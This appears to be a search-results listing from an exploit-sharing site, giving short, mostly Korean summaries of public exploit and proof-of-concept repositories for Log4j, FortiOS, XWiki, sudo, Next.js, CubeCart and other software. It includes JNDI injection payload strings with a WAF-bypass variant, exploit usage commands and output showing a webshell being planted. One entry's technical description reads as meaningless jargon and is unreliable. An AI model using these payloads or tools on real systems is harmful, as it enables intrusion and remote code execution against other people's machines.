827825 matches found
Forklift_LPE
Forklift 3.3.9 로컬 권한 상승 Forklift를 설치하면 com.binarynights.ForkLiftHelper라는 새로운 도우미가 Mac OS X용으로 /Library/PrivilegedHelperTools/ 디렉토리에 자동 설치됩니다. XPC 메시지를 처리하는 이 도우미를 분석한 결과 Mac OS X에서 사용자 권한을 root로 상승시키는 여러 가지 방법이 발견되었습니다. XPC 호출을 수락할 때 기본적으로 HelperTool listener:shouldAcceptNewConnection, 즉...
cve-2025-39682
CVE-2025-39682 exploit on kernelCTF mitigation 인스턴스에서의 이것은 또한 제 첫 번째 ? 모르겠습니다, 이것은 CVE-2024-58239의 변종입니다 1-day exploit입니다. Patch: tls: fix handling of zero-length records on the rxlist 이 CVE는 exp398과 exp403에서 사용되었습니다. kernelCTF 스프레드시트. 폴더 구조와 exploit 실행 방법은 제 CVE-2024-58239 저장소를 참조하세요. 이전 exploit...
cve-2016-1000027-poc
CVE-2016-1000027에 대한 PoC 이것은 CVE-2016-1000027의 영향을 받는 Spring Boolt 데모 애플리케이션입니다. 취약점 재현 단계 1. 취약한 서버 com.gypsyengineer.server.Server를 시작합니다. 2. com.gypsyengineer.client.Exploit을 실행합니다. Exploit 클래스는 payload.bin을 읽어 취약한 서버로 전송합니다. payload.bin에는 ysoserial이 생성한 페이로드가 포함되어 있습니다. 현재 payload.bin은 gedit을...
Brutal
Now Teensy can be use for penetration Teensy like a rubber ducky , why im choose teensy ? because the price very cheap for me . t’s extremely useful for executing scripts on a target machine without the need for human-to-keyboard interaction HID -ATTACK .When you insert the device, it will be...
CVE-2022-40684
설명 FortiOS, FortiProxy 및 FortiSwitchManager 어플라이언스에 영향을 미치는 CVE-2022-40684 인증 우회 취약점에 대한 익스플로잇입니다. 면책 조항 이 도구는 데모 목적으로만 사용되며, 명시적 승인을 받은 시스템에만 사용하십시오. 프로젝트 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 사용법 root@kitploit: .,-:;//;:=, . :H@@@MM@MH/.,+%;, ,/X+ +M@@M@MM%=,-%HMMM@X/, -+@MM; $M@@MH+-,;XMMMM@MMMM@+-...
Log4J_0day_RCE
커뮤니티 참여 Telegram CVE-2021-44228Apache Log4j Remote Code Execution） 영향 받는 버전 JNDI-Injection-Exploit을 사용하여 익스플로잇할 수 있습니다. rc1 우회 예를 들어: root@kitploit: $jndi:ldap://127.0.0.1:1389/ badClassName WAF 우회 root@kitploit: $$::-j$::-n$::-d$::-i:$::-r$::-m$::-i://asdasd.asdasd.asdasd/poc...
THM-MagnusBilling-CVE-2023-30258-Exploit
THM-MagnusBilling-CVE-2023-30258 ⸻ 🛡️ MagnusBilling RCE → Root CVE-2023-30258 📌 개요 • 대상: 10.145.148.203 • 플랫폼: TryHackMe • 취약점: CVE-2023-30258 • 접근: 인증 없는 원격 코드 실행 RCE • 권한 상승: fail2ban 잘못된 설정 • 최종 접근: Root ⸻ 🔍 1. 정찰 포트 스캔 rustscan -a 10.145.148.203 📊 열린 포트 포트 서비스 22 SSH 80 HTTP 3306 MySQL 5038...
CVE-2015-3306
CVE-2015-3306 ProFTPD Exploit 이 저장소에는 CVE-2015-3306 에 대한 Python 개념 증명PoC 익스플로잇이 포함되어 있습니다. ⚠️ 경고: 직접 소유하거나 테스트할 명시적 권한이 있는 시스템에서만 사용하세요. 무단 익스플로잇은 불법입니다. 작성자 Mohamed EL-KHAROUATI 1부: CVE-2015-3306 ProFTPD Exploit 설명 CVE-2015-3306은 ProFTPD 1.3.5b 및 이전 버전의 디렉터리 탐색 취약점입니다. 이 익스플로잇은 임의의 파일을 복사하고 PHP...
CVE-2026-20660
CVE-2026-20660 PoC 번들 이 폴더에는 다음에 대한 독립형 개념 증명PoC이 포함되어 있습니다. CVE-2026-20660 CFNetwork NSGZipDecoder gzip FNAME을 통한 경로 탐색 자동 열림auto-open이 활성화된 취약한 macOS Safari에 미치는 영향 1. 디렉터리 구조 server.py: 구성 가능한 탐색 깊이depth와 대상 이름을 가진 메인 PoC 서버 serveroverwrite.py: ../../pwn.sh를 쓰는 데 초점을 맞춘 변형 README.md: 재현 노트 및 동...
php-reverse-shell
PHP 리버스 셸 널리 쓰이는 PHP 리버스 셸 스크립트 pentestmonkey/php-reverse-shell을 살짝 새롭게 단장한 것입니다. 원저작자에게 감사를 표합니다! /bin/sh를 사용하는 Linux OS 및 macOS와 cmd.exe를 사용하는 Windows OS에서 작동합니다. 스크립트가 기본 OS를 자동으로 감지합니다. ncat과 multi/handler 모두에서 작동합니다. 다음 환경에서 테스트했습니다: Kali Linux v2020.264비트에서 PHP v7.3.19가 포함된 Linux용 XAMPP...
Apache-Druid-CVE-2021-25646-Exploit
Apache Druid RCE 익스플로잇 CVE-2021-25646 JavaScript 코드 인젝션을 통한 Apache Druid 원격 코드 실행 CVE-2021-25646을 위한 Python 익스플로잇. 설명 이 스크립트는 특별히 조작된 sampler 요청을 통해 임의 코드 실행을 허용하는 Apache Druid 버전 0.20.1의 RCE 취약점을 익스플로잇합니다. 사용법 root@kitploit: python3 druidrce.py -u http://target:8888 -c "commandtoexecute" 인자...
Gopherus
Gopherus SSRFServer Side Request Forgery에 취약한 곳을 알고 있다면, 이 도구는 SSRF를 악용하고 RCERemote Code Execution를 얻기 위한 Gopher 페이로드를 생성하는 데 도움이 됩니다. 또한 피해자 서버에서 리버스 셸Reverse shell을 얻는 데도 도움이 됩니다. 더 자세한 정보는 다음 블로그를 참조하세요. Gopherus 관련 블로그 소개 이 도구는 다음을 위한 페이로드를 생성할 수 있습니다: 1. MySQL 포트-3306 2. PostgreSQL포트-5432 3...
CVE-2024-33438
임의 파일 업로드로 인한 RCE CVE-2024-33438 CubeCart 실행 후, 성공적인 악용에 대한 예상 출력은 다음과 같습니다: root@kitploit: python3 CubeCartCVE.py http://localhost/admin0Kqnr9.php admin 123456 whoami ,----. ||/ '. / O|| /| / "" / / // / launching exploit ||/ please wait... + Trying to log into the application... + Successful...
Exploit-CVE-2023-49070-and-CVE-2023-51467-Apache-OFBiz
Exploit CVE-2023-49070 및 CVE-2023-51467 Apache OFBiz 18.12.10 Apache OFBiz 인증 우회 취약점 이 익스플로잇 코드는 오로지 교육 목적과 사이버 보안 실무 향상을 위해 개발되었습니다. 불법적인 용도로 사용하는 것은 전적으로 사용자의 책임입니다. 명시적 승인이 있는 환경에서만 사용하는 것이 권장되며, 윤리적 또는 법적 위반을 피해야 합니다. 이 익스플로잇을 실행하려면 ysoserial-all.jar 파일을 다운로드해야 합니다. 다음 명령어가 도움이 됩니다: wget...
React2Shell
🔐 React2Shell - Next.js RSC 오염 RCE 툴킷 이 Python 툴킷은 Next.js React Server Components RSC 프로토타입 오염 + React.lazy-1 가젯 체인을 악용하여 전체 RCE 접근을 제공하며, 인터랙티브 갓 셸, 파일 업로드 PHP 웹셸 드로퍼 및 ?out=을 통한 탈취를 포함합니다. 이미지 미리보기 🧾 main.py 📌 목적 취약한 Next.js 앱예: target.com의 자동 탐지 및 악용. uid=33www-data 셸을 드롭하며 다음을 제공:...
CTT-Enhanced-CVE-2026-46339-Exploit-Engine
CTT-Enhanced-CVE-2026-46339-Exploit-Engine 9Router MCP모델 컨텍스트 프로토콜 브리지를 통해 인증되지 않은 원격 코드 실행을 수행하는 특수 Python 프레임워크로, 33계층 시간 위상 캐스케이드, 리만-하다마르드 분산, 11ns 웨지 필터를 배포하여 기존 프록시 및 프로세스 모니터링 방어 체계를 우회합니다. CTT-Enhanced 익스플로잇 전체 상세 정보 핵심 취약점 메커니즘CVE-2026-46339: 9Router 0.4.36 이하 버전은 /api/cli-tools/ 및...
CVE-2025-32463
CVE-2025-32463 Exploit Overview This repository provides a Go-based exploit tool for CVE-2025-32463 , a critical local privilege escalation vulnerability CVSS 9.3 in sudo versions 1.9.14 to 1.9.17. It allows unauthorized local users to gain root access by exploiting a flaw in the --chroot -R...
CVE-2025-24893
XWiki SSTI 익스플로잇 XWiki의 SolrSearch 엔드포인트에서 Groovy 템플릿 인젝션을 통해 서버 측 템플릿 인젝션SSTI 취약점을 익스플로잇하는 Python 기반 도구입니다. 취약점 유형 : 서버 측 템플릿 인젝션SSTI 구성 요소 : XWiki SolrSearch RSS 피드 영향 : 원격 코드 실행RCE 영향받는 버전 : XWiki 15.10.8 및 잠재적으로 다른 버전 요구 사항 root@kitploit: pip3 install requests beautifulsoup4 사용법 취약점 테스트...
CVE-2026-67206
CVE-2026-67206 - Wolf CMS -u -p python exploit.py http://127.0.0.1:8080/ -u admin -p admin 예시 root@kitploit: └─$ python exploit.py http://127.0.0.1:8080/ -u admin -p 12966cc814K 제공된 자격 증명으로 로그인 중... + 로그인 성공 shell.php라는 파일 생성 중... + 파일 생성 성공 shell.php에 페이로드 작성 시도 중... + 페이로드 작성 성공! + 웹 셸은...